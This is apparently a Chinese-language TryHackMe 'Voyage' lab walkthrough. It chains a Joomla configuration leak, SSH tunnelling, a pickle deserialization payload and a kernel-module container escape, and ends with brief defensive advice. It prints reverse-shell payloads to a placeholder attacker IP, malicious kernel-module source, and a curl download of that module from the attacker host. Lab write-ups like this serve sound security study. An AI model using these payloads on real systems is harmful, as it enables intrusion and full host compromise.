Voyage
TryHackMe
字数 1386 2025-11-11 12:03:41
Voyage TryHackMe 渗透测试教学文档
1. 目标侦察与信息收集
1.1 端口扫描结果分析
- 22/tcp:OpenSSH 9.6p1 Ubuntu 3ubuntu13.11
- 80/tcp:Apache httpd 2.4.58 (Ubuntu)
- 2222/tcp:OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
- 发现Joomla!内容管理系统
1.2 Web应用识别
- 访问路径:
http://目标IP/administrator/manifests/files/joomla.xml - 确认Joomla版本:4.2.7
2. 漏洞利用阶段
2.1 CVE-2023-23752漏洞利用
- 漏洞描述:Joomla未授权访问API配置信息
- 利用路径:
/api/index.php/v1/config/application?public=true - 获取信息:数据库用户名和密码
2.2 初始访问
- 使用获取的凭据通过SSH连接2222端口
- 命令:
ssh -p 2222 root@目标IP - 成功获得容器内root权限
3. 内网横向移动
3.1 网络探测
- 容器内发现安装nmap工具
- 扫描内网网段发现另一容器IP:192.168.100.12
- 发现开放端口:5000
3.2 端口转发设置
- 建立SSH隧道进行内网访问:
ssh root@目标IP -p 2222 -L 5000:192.168.100.12:5000
3.3 Python反序列化漏洞利用
- 目标服务使用pickle反序列化Cookie数据
- 构造恶意序列化payload:
import pickle
import os
class Malicious:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1'",))
malicious_pickle = pickle.dumps(Malicious())
print("Malicious pickle in hex:", malicious_pickle.hex())
- 利用curl发送恶意Cookie:
curl http://127.0.0.1:5000/ -H "Cookie: session_data=生成的hex值"
4. 权限提升与容器逃逸
4.1 能力检测
- 检查当前用户权限:
capsh --print - 发现具备cap_sys_module能力
4.2 内核模块攻击
- 利用cap_sys_module能力加载恶意内核模块
- 创建恶意内核模块代码:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kmod.h>
MODULE_LICENSE("GPL");
static int shell(void)
{
char *argv[] = {
"/bin/bash", "-c", "bash -i >& /dev/tcp/攻击者IP/4445 0>&1", NULL
};
static char *env[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL
};
return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC);
}
static int init_mod(void)
{
return shell();
}
static void exit_mod(void)
{
return;
}
module_init(init_mod);
module_exit(exit_mod);
4.3 编译和加载模块
- 创建Makefile:
obj-m += shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
- 下载并加载模块:
# 从攻击机下载编译好的模块
curl http://攻击者IP:8080/shell.ko -o shell.ko
# 加载恶意模块
insmod shell.ko
5. 关键技术与知识点
5.1 漏洞利用链
- 信息泄露漏洞(CVE-2023-23752)→ 获取数据库凭据
- 弱口令/默认凭据→ SSH初始访问
- 内网服务漏洞→ Python反序列化
- Linux能力滥用→ 容器逃逸
5.2 技术要点
- Joomla版本识别:通过manifest文件获取精确版本信息
- API未授权访问:REST API配置信息泄露
- SSH隧道技术:内网端口转发和访问
- Pickle反序列化:Python对象序列化漏洞利用
- Linux Capabilities:cap_sys_module特权滥用
- 内核模块攻击:LKM(Loadable Kernel Module)恶意利用
5.3 防御建议
- 及时更新:保持Joomla等CMS系统最新版本
- 访问控制:严格限制API接口访问权限
- 网络隔离:容器网络适当分段和隔离
- 能力限制:容器运行时减少不必要的capabilities
- 输入验证:对反序列化操作进行严格验证
6. 攻击流程总结
端口扫描 → Web应用识别 → 漏洞利用 → 初始访问 → 内网探测 → 横向移动 → 权限提升 → 容器逃逸 → 宿主机控制
这个渗透测试过程展示了从外部侦察到最终获得宿主机权限的完整攻击链,涉及Web漏洞、内网横向移动和Linux特权提升等多个重要攻击技术。